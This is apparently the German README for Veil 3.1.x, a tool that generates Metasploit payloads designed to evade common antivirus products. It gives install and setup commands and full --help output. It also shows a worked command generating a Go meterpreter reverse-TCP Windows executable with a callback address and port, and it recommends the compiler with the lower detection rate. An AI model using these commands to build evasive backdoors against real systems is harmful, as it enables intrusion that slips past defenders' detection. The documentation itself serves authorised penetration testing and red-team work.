
Veil 3.1.X (Versionsinformationen zur Laufzeit in Veil prüfen)
Veil Logo
Veil ist ein Werkzeug, das entwickelt wurde, um Metasploit-Payloads zu generieren, die gängige Antivirenlösungen umgehen.
Veil wird derzeit von @ChrisTruncer unterstützt.
Die folgenden Betriebssysteme werden offiziell unterstützt:
Die folgenden Betriebssysteme können Veil wahrscheinlich ausführen:
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
HINWEIS:
sudo voran oder wechseln Sie vor Beginn zum Root-Benutzer.apt unterscheiden. Sie benötigen außerdem einen laufenden X-Server, entweder auf dem System selbst oder auf Ihrem lokalen System.sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Diese Datei ist verantwortlich für die Installation aller Abhängigkeiten von Veil. Dies umfasst die gesamte WINE-Umgebung für den Windows-Teil. Sie installiert alle notwendigen Linux-Pakete und GoLang sowie Python, Ruby und AutoIT für Windows. Zusätzlich führt sie auch ./config/update-config.py für Ihre Umgebung aus.
Sie enthält zwei optionale Flags, --force und --silent:
--force ~ Wenn etwas schief geht, überschreibt dies die Erkennung früherer Installationen. Nützlich bei einem Update des Setup-Pakets.
--silent ~ Dies führt eine unbeaufsichtigte Installation aller Komponenten durch, da alle Schritte automatisiert werden, sodass keine Benutzerinteraktion erforderlich ist.
Dies kann entweder mit ./Veil.py --setup ODER ./config/setup.sh --force ausgeführt werden.
Dies erzeugt die Ausgabedatei für /etc/veil/settings.py. Meistens muss sie nicht neu erstellt werden, aber in einigen Fällen werden Sie möglicherweise dazu aufgefordert (z. B. bei einem großen Veil-Update).
Es ist wichtig, dass Sie sich im Verzeichnis ./config/ befinden, bevor Sie update-config.py ausführen. Wenn nicht, wird /etc/veil/settings.py falsch sein, und wenn Sie Veil starten, sehen Sie Folgendes:
Main Menu
0 payloads loaded
Keine Panik. Führen Sie entweder ./Veil.py --config ODER cd ./config/; ./update-config.py aus.
HINWEIS: Die Verwendung von Py2Exe wird gegenüber PyInstaller empfohlen (da es eine geringere Erkennungsrate hat).
MANUELL auf einem Windows-Computer installieren (da dies nicht von Veils Setup erledigt wird):
Veils Hauptmenü:
$ ./Veil.py
===============================================================================
Veil | [Version]: 3.1.6
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
Hilfe
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-p [PAYLOAD]] [-o OUTPUT-NAME]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
[--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
Veil is a framework containing multiple tools.
[*] Veil Options:
--list-tools List Veil's tools
-t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.)
--update Update the Veil framework
--setup Run the Veil framework setup file & regenerate the
configuration
--config Regenerate the Veil framework configuration file
--version Displays version and quits
[*] Callback Settings:
--ip IP, --domain IP IP address to connect back to
--port PORT Port number to connect to
[*] Payload Settings:
--list-payloads Lists all available payloads for that tool
[*] Veil-Evasion Options:
-p [PAYLOAD] Payload to generate
-o OUTPUT-NAME Output file base name for source and compiled binaries
-c [OPTION=value [OPTION=value ...]]
Custom payload module options
--msfoptions [OPTION=value [OPTION=value ...]]
Options for the specified metasploit payload
--msfvenom [] Metasploit shellcode to generate (e.g.
windows/meterpreter/reverse_tcp etc.)
--compiler pyinstaller
Compiler option for payload (currently only needed for
Python)
--clean Clean out payload folders
[*] Veil-Ordnance Shellcode Options:
--ordnance-payload PAYLOAD
Payload type (bind_tcp, rev_tcp, etc.)
[*] Veil-Ordnance Encoder Options:
--list-encoders Lists all available encoders
-e ENCODER, --encoder ENCODER
Name of shellcode encoder to use
-b \x00\x0a.., --bad-chars \x00\x0a..
Bad characters to avoid
--print-stats Print information about the encoded shellcode
$
Veil-Evasion-CLI
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Language: go
[*] Payload Module: go/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/payload.exe
[*] Source code written to: /var/lib/veil/output/source/payload.go
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
Veil-Ordnance-CLI